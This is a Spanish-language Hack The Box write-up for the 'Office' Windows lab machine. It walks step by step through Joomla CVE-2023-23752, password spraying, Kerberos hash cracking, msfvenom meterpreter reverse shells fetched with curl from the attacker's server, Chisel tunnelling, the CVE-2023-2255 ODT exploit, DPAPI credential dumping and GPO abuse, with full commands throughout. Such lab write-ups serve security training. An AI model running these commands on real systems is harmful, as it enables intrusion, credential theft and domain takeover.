🟥HTB - Office

https://app.hackthebox.com/machines/Office

Información General

  • Nombre de la Máquina: Office

  • IP de la Máquina: 10.129.230.226

  • Sistema Operativo: Windows

  • Dificultad: Hard

  • Fecha de Publicación: 17 Feb 2024


Enumeration

Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

ping -c 1 10.129.230.226 -R

El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la máquina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Windows establece por defecto el valor de TTL de sus paquetes IP en 128, que al pasar por un salto en la red se decrementa a 127.

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.230.226 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -pPORTS 10.129.230.226 -oN targeted
# Nmap 7.94SVN scan initiated Mon Apr  1 00:23:34 2024 as: nmap -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389,49664,49668,61823,61836,61855 -sCV -oN targeted 10.129.230.226
Nmap scan report for 10.129.230.226
Host is up (0.20s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Home
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-01 12:23:46Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
61823/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
61836/tcp open  msrpc         Microsoft Windows RPC
61855/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-04-01T12:24:41
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr  1 00:25:19 2024 -- 1 IP address (1 host up) scanned in 104.80 seconds

Modificando /etc/hosts

Para añadir la entrada "10.129.230.226 office.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.129.230.226 dc.office.htb office.htb  " | sudo tee -a /etc/hosts

Enumeration en Joomla

Explotación de CVE-2023-23752

Entonces podemos ver que se trata de Joomla 4.2.7, y en Google encuentro esto: CVE-2023-23752 - Joomla Improper Access Check.

http://office.htb/api/index.php/v1/users?public=true
http://office.htb/api/index.php/v1/config/application?public=true

En este WriteUp puedes encontrar más información de este CVE. HTB - Devvortex

Descubrimiento de Usuarios / Password Bruteforce

Podemos utilizar kerbrute y ver si encontramos algunos usuarios, para luego ver a cual de ellos le corresponde la contraseña que encontramos.

kerbrute userenum --dc dc.office.htb -d office.htb -t 2000 /usr/share/seclists/Usernames/xato-net-10-milion-usernames.txt -o users
kerbrute passwordspray -d office.htb --dc dc.office.htb users H0lOgrams4reTakIng0Ver754!
crackmapexec smb office.htb -u users -p 'H0lOgrams4reTakIng0Ver754!'
dwolfe:H0lOgrams4reTakIng0Ver754!

Cliente SMB (Impacket)

git clone https://github.com/fortra/impacket.git
cd impacket/examples/
python3 smbclient.py office.htb/dwolfe:'H0lOgrams4reTakIng0Ver754!'@10.129.230.226
shares 
use SOC Anaysis
ls
get Latest-System-Dump-8fbc124d.pcap

Obteniendo Kerberos Pre-Auth Packets con Wireshark

Más informacion en https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/.

echo '$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc' > hash.txt
hashcat -m 19900 hash.txt usr/share/wordlists/rockyou.txt

Accedemos como Administrator en Joomla

office.htb/Administrator
Administrator:playboy69

Modificamos algún archivo para subir nuestra shell. En este caso yo subir un uploader y luego la shell.

Meterpreter Reverse_TCP Shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=6666 -f exe -o 6666.exe
python3 -m http.server 8888
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 6666
run
cd C:\xampp
curl 10.10.15.21:8888/6666.exe -o 6666.exe
6666.exe

RunasCs y Meterpreter Shell como Tstark

Lo que deseamos hacer es ejecutar mediante RunasCs nuestro 7777.exe, para que este se ejecute desde el usuario Tstark para así acceder a su cuenta.

Import-Module ./Invoke-RunasCs.ps1
Invoke-RunasCs -Username tstark -Password playboy69 -Command "whoami"
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
curl 10.10.15.21:8888/7777.exe -o 7777.exe
Invoke-RunasCs -Username tstark -Password playboy69 -Command "C:\xampp\7777.exe"

Port forwarding con Chisel

Deseamos acceder a la ruta 127.0.0.1:8083 de la máquina Windows desde nuestra máquina Kali Linux para ello debemos redireccionar:

10.10.15.21:7777 -> 127.0.0.1:8083

Entonces cuando accedamos a 127.0.0.1:8083 desde Kali Linux accederemos al contenido de la máquina Windows.

Kali Linux Machine
python3 -m http.server 8888
Windows Machine
curl 10.10.15.21:8888/chisel.exe -o chisel.exe
chisel.exe client 10.10.15.21:7777 R:8083:127.0.0.1:8083 
Kali Linux Machine
./chisel server -p 7777 --reverse

RCE con ODT File (CVE-2023-2255)

Lo primero que vamos a hacer es crear nuestro 9999.exe y enviarlo al servidor victima (descargandolo con curl). Para luego que este sea ejecutado por el archivo odt.

Kali Linux Machine
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
Windows Machine
curl 10.10.15.21:8888/9999.exe -o C:\Users\Public\9999.exe
Kali Linux Machine
git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py --cmd 'C:\Users\Public\9999.exe' --output '3ky.odt'

Lo siguiente es enviar el archivo *.odt en el formulario para que este sea "ejecutado" en la máquina victima.

Después de unos minutos se abre la sesión exitosamente, ahora tenemos acceso a office\ppotts 😉.

Privilege Escalation

vaultcmd /listcreds:"Windows Credentials" /all
dir /a:h C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
dpapi::cred /in:"%appdata%\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\E76CCA3670CD9BB98DF79E0A8D176F1E"

Obtener SID (Security Identifier)

Get-ChildItem C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\PPotts\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\{SID}

Ahora utilizamos nuestro SID y nuestro GuidMasterKey:

dpapi::masterkey /in:C:\Users\PPotts\AppData\Roaming\Microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc
dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4/ masterkey::87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166

Evil-WinRM

Get-GPO -All | Select-Object -ExpandProperty DisplayName

GPO Abuse con SharpGPOAbuse

Primero descargamos el ejecutable SharpGPOAbuse.exe y lo descargamos en la máquina Windows.

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"
gpupdate /Force

Última actualización